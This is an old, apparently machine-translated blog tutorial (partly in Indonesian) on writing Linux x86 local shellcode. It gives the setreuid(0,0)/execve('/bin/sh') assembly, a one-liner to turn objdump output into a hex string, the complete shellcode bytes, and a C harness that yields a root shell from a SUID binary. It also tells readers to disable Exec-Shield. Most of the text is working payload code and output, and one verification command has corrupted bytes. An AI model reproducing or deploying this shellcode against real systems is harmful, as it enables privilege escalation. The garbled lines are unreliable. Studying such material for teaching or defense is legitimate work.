Monday, April 5, 2010

Shellcode (I): Local Exploit Shellcode

 Often seen in the source code shellcode exploits shaped string of hex codes. Actually what it shellcode and what the meaning behind the hex codes? In this article I will explain about the shellcode and we will also learn to make shellcode own practice.

Shellcode, Exploits and Vulnerability

Shellcode, exploit and vulnerability are 3 siblings. It all started from the negligence of the programmer so that the program contains a vulnerability that can be exploit to make the program run any desired code hacker (arbitrary code execution), this code is called with the shellcode.

 Under normal circumstances, the program follow the instructions made by its creator (programmer). Hackers can create a program to follow his orders and ignoring orders mengexploit creator with a vulnerability caused arbitrary code execution

Why called shellcode? If hackers can make a program execute any code he wants, then the code if it chooses? The best choice is a code that gives her shell so she can give other commands that he would freely. Therefore it is called shell-code code.

When likened misile: exploits are missiles, while the shellcode is the warheads that could be charged with anything like explosives, nuclear, biological weapon or chemical weapon is up to the attacker desires.

Although generally giving the shell shellcode, shellcode does not always give the shell. Attacker is free to determine what code will be executed in the victim's computer. Shellcode can do anything from deleting files, formatting the hard drive, sending the data, install new programs etc is up to the attacker desires.

 Arbitrary Code Execution

Arbitrary code execution is a condition in which the attacker can inject arbitrary code / instructions in a process that was running, then code is executed. Code that is injected is called the shellcode. Shellcode is code in the form of machine language or opcode. This opcode is usually not written in a binary value because it will become very long, but use a more compact hex value.

Between the Code and Data

Actually the code is also data whose contents are the computer executable instructions. In memory, internally, the data and code makes no difference because both are just a string of symbols 1 and 0.

Let me give a simple example: Is the value 50 hex or binary 01,010,000 in a memory location that is code or data?
When the 50 hex character is considered as a data type, so it was an ascii code for the letter 'P'.
When considered as a code 50 hex, then it is a PUSH EAX instruction (in 32 bit mode) or PUSH AX (in 16 bit mode).

Likewise with the string "ABCD", can be regarded as data or code, note the example below:

1.   $ perl -e 'print "ABCD"'|xxd
2.   0000000: 4142 4344                                ABCD
3.   $ perl -e 'print "ABCD"'|ndisasm -b 16 -
4.   00000000  41                inc cx
5.   00000001  42                inc dx
6.   00000002  43                inc bx
7.   00000003  44                inc sp
8.   $ perl -e 'print "ABCD"'|ndisasm -b 32 -
9.   00000000  41                inc ecx
10. 00000001  42                inc edx
11. 00000002  43                inc ebx
12. 00000003  44                inc esp


In the example above ABCD is internally stored as 0 × 41, 0 × 42, 0 × 43 and 0 × 44, ie the ASCII code of character 'A', 'B', 'C', 'D' (see row 2). But the same data can also be considered as a code 16 bits or 32 bits as in line 4 s / d to-7 for 16-bit code and a line to-9 s / d 12 to 32-bit code.

Now the question is when a data is treated as data and when treated as a code? The answer is when a data designated by the instruction pointer or program counter that normally exist in the EIP register (IP 16-bit system), then the data in that location is the code that will be executed.

 Any data residing in memory location whose address is stored in the EIP will be considered as a code.

As a demonstration, a small program below demonstrates that the data could also be regarded as a code when appointed by the EIP.

1.  #include  
2. char str[] = "ABCHIJK\xc3";
3. int main(void) {
4.      printf("%s\n",str); // str as argument of printf()
5.      ((void (*)(void))str)(); // str()
6.      return 0;
7. }

$ gcc codedata.c -o codedata
$ ./codedata
ABCHIJKÃ

There is an interesting little program above, namely the variable containing the string str ABCHIJK plus ASCII coded character 0xc3. On line 4, str variable is used as an argument to the function printf (), in this case means str is considered as data. While on the 5th row, str summoned as a function, in this case considered as code str. Note that str is true of type pointer to char, but can be called like a function because it has been cast to pointer to function with (void (*) (void)).

In the example above we execute existing code in the variable str, it means that we execute code residing in the data area (not area code). Kernel is now applying many of the protections that we can not execute code that is not in a special area of memory for code. In windows environment, known as Data Execution Prevention, and in Linux there is also known as Exec-Shield.


In order for the examples in this article can work, you must turn off the Exec-Shield:
echo "0"> / proc / sys / kernel / exec-shield 


Look at pictures below. Such images are the result disassemble with gdb. Seen that the str terletak di lokasi 0 × 8049590. In CALL instruction which there is a function call printf () with str (0 × 8049590) as a function argument. In this case means str is considered as a data type string. However, there are instructions on str CALL to location, this means the program will jump (jump) to the location of str and execute instructions in the location str. In this case means str is considered as a code. Notice also that the str I add \ xc3 at the end of str because \ xc3 ret instruction is the opcode, so the program will return to function and continue to play the main function to complete.


 Start Making shellcode

Actually the contents of the variable str in the above program is the shellcode, so we've actually managed to make the first shellcode. Congratulations! However shellcode that we make is not doing anything meaningful because it only INC and DEC then ret. But from these examples at least we have understood that the shellcode is nothing but a string, which is a collection of characters that is also a machine language instruction opcode.

Now we will begin to create a truly shellcode Spawn a shell. In a previous article about my learning assembly already explained how to call the system call interrupt 80 hex. Shellcode that we will create and provide instructions to call the system call. Notice the C language source below which if exercised will Spawn shell.


1. #include
2. #include
3. int main(void) {
4.         char* args[] = {"/bin/sh",NULL};
5.         setreuid(0,0);
6.         execve("/bin/sh",args,NULL);
7. }


 The program above will only call the system call setreuid () and execve (). Shellcode that we will create will also be doing the same thing as the source above, the difference is only made in the assembly.

System Call setreuid ()

setreuid () is used to set real and effective UserID. System call is very important because programs that have SUID bit, usually to drop root privileges when it is no longer needed. Therefore, we must restore it before Spawn privileged shell. Declaration setreuid system call () is:


int setreuid(uid_t ruid, uid_t euid);
ruid = real user id
euid = effective user id 


Berdasarkan deklarasi system call tersebut, maka register yang harus diisi sebelum melakukan interrupt adalah:
EAX: 0×46 atau 70 (Nomor system call dari file unistd.h)
EBX: 0×0 (Parameter pertama, real uid yaitu 0)
ECX: 0×0 (Parameter kedua, effective uid yaitu 0)

Potongan assembly di bawah ini adalah instruksi untuk memanggil system call setreuid(0,0). 


1. ; setreuid(0,0)
2. xor eax,eax
3. mov al,0x46 ; EAX = 0x46
4. xor ebx,ebx  ; EBX = 0
5. xor ecx,ecx  ; ECX = 0
6. int 0x80 


System Call execve ()

Execve is a system call to execute an executable. All data, variables, heap, stack, etc. belong to the process that calls execve will be lost and replaced with the new program is executed. However processID, and open file handle (including stdout, stdin, stderr) bequeathed to the new program is executed. Declaration execve system call is as below:
 

int execve (const char * filename, const char * argv [], char * const envp []);
There are 3 arguments are required, but we will only use the 2 argument. We fill the envp argument to NULL because we do not require environment variable. Based on the declaration system call, the registers that must be filled before calling an interrupt is:
EAX: 0xb or 11 (system call numbers)
EBX: address of string "/ bin / sh"
Ecx: address an array of strings, ("/ bin / sh", NULL)
EDX: 0 because NULL envp filled.

Assembly snippet below calls execve system call to execute / bin / sh.


1.  ; execve("/bin/sh",{"/bin/sh",0x0},0x0)
2.  xor eax,eax
3.  push eax ; push 0x0
4.  push 0x68732f2f ; push "//sh"
5.  push 0x6e69622f ; push "/bin"
6.  mov ebx,esp ; EBX = ESP = "/bin//sh\x0"
7.  push eax ; push 0x0
8.  push ebx ; push "/bin//sh\x0"
9.  mov ecx,esp ; ECX = ESP = {"/bin//sh\x0",0x0}
10. xor edx,edx ; EDX = 0
11. mov al, 0xb ; EAX = 0xb
12. int 0x80


EBX must be filled with address string containing the name of the executable file that will be executed. We use the stack to make the string "/ bin / / sh" as in the picture above. In this way we will get an executable filename string address in register ESP. The contents of the ESP is then copied into the EBX register. Maybe there who think there is a typo in the string, because there is a double slash before "sh". This is not a typing error, but deliberately so when push right mempush 4 bytes ("/ / sh"), and the excess of the slash is not a problem.


Ecx must be filled with an array of strings ("/ bin / / sh", NULL). Once again, we also use the stack and which has been previously EBX register contains the address string "/ bin / / sh". In the picture above we first have to mempush NULL (0 × 0) into the stack as an array element index to-1, followed by mempush address string "/ bin / / sh" from the EBX as elements of the array index to 0. In this way ESP will contain the address of an array of strings ("/ bin / / sh", NULL). ESP value is copied into ecx register.

Shellcode in the Assembly

Let us combine the pieces of the above assembly to form a complete shellcode as in the assembly source code below. 


1.   section .text
2.   global _start
3.
4.   _start:
5.   ; setreuid(0,0)
6.   xor eax,eax
7.   mov al,0x46 ; EAX = 0x46
8.   xor ebx,ebx  ; EBX = 0
9.   xor ecx,ecx  ; ECX = 0
10. int 0x80

11.
12. ; execve("/bin/sh",{"/bin/sh",0x0},0x0)
13. xor eax,eax
14. push eax ; push 0x0
15. push 0x68732f2f ; push "//sh"
16. push 0x6e69622f ; push "/bin"
17. mov ebx,esp ; EBX = ESP = "/bin//sh\x0"
18. push eax ; push 0x0
19. push ebx ; push "/bin//sh\x0"
20. mov ecx,esp ; ECX = ESP = {"/bin//sh\x0",0x0}
21. xor edx,edx ; EDX = 0
22. mov al, 0xb ; EAX = 0xb
23. int 0x80


Let us compile and link source above assembly.


1.   $ nasm -f elf basicshellcode.asm
2.   $ ld -o basicshellcode basicshellcode.o
3.   $ sudo chown root:root basicshellcode;sudo chmod 4755 basicshellcode
4.   Password:
5.   $ ls -l basicshellcode
6.   -rwsr-xr-x 1 root root 623 Dec  3 14:52 basicshellcode
7.   $ ./basicshellcode
8.   sh-3.2# whoami
9.   root
10. sh-3.2# exit



Converting OBJDUMP Output to Shellcode

successful! Now the finishing stage, which took the opcode of the above program. We use objdump to this.

$ objdump -M intel -d -j .text ./basicshellcode

./basicshellcode:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:       31 c0                   xor    eax,eax
 8048062:       b0 46                   mov    al,0x46
 8048064:       31 db                   xor    ebx,ebx
 8048066:       31 c9                   xor    ecx,ecx
 8048068:       cd 80                   int    0x80
 804806a:       31 c0                   xor    eax,eax
 804806c:       50                      push   eax
 804806d:       68 2f 2f 73 68          push   0x68732f2f
 8048072:       68 2f 62 69 6e          push   0x6e69622f
 8048077:       89 e3                   mov    ebx,esp
 8048079:       50                      push   eax
 804807a:       53                      push   ebx
 804807b:       89 e1                   mov    ecx,esp
 804807d:       31 d2                   xor    edx,edx
 804807f:       b0 0b                   mov    al,0xb
 8048081:       cd 80                   int    0x80


From the objdump output above, we only need to take the opcode in the middle column and then holding a string. To make it easier to take opcode I make the following one line script:

$ objdump -d ./basicshellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"



Let us once again with perl verification and ndisasm.

$ perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' |ndisasm -u -
00000000  31C0              xor eax,eax
00000002  B046              mov al,0x46
00000004  31DB              xor ebx,ebx
00000006  31C9              xor ecx,ecx
00000008  CD80              int 0x80
0000000A  31C0              xor eax,eax
0000000C  50                push eax
0000000D  682F2F7368        push dword 0x68732f2f
00000012  682F62696E        push dword 0x6e69622f
00000017  89E3              mov ebx,esp
00000019  50                push eax
0000001A  53                push ebx
0000001B  89E1              mov ecx,esp
0000001D  31D2              xor edx,edx
0000001F  B00B              mov al,0xb
00000021  CD80              int 0x80


The result is the same, meaning shellcode to be true. Now we proceed to execute shellcode with C program below:

1. char shellcode[] =
2.        "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0"
3.         "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"

4.        "\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
5. int main() {
6.         ((void (*)(void))shellcode)(); // shellcode()
7. }


$ gcc shellcode4.c -o shellcode4
$ sudo chown root:root shellcode4; sudo chmod 4755 shellcode4
Password:
$ ls -l ./shellcode4
-rwsr-xr-x 1 root root 4748 Dec  3 16:25 ./shellcode4
$ ./shellcode4
sh-3.2# whoami
root
sh-3.2# exit


Okay, we've managed to safely make the shellcode which resulted in local shell. In Section 2, I will explain to a remote exploit shellcode creation.

1 comment: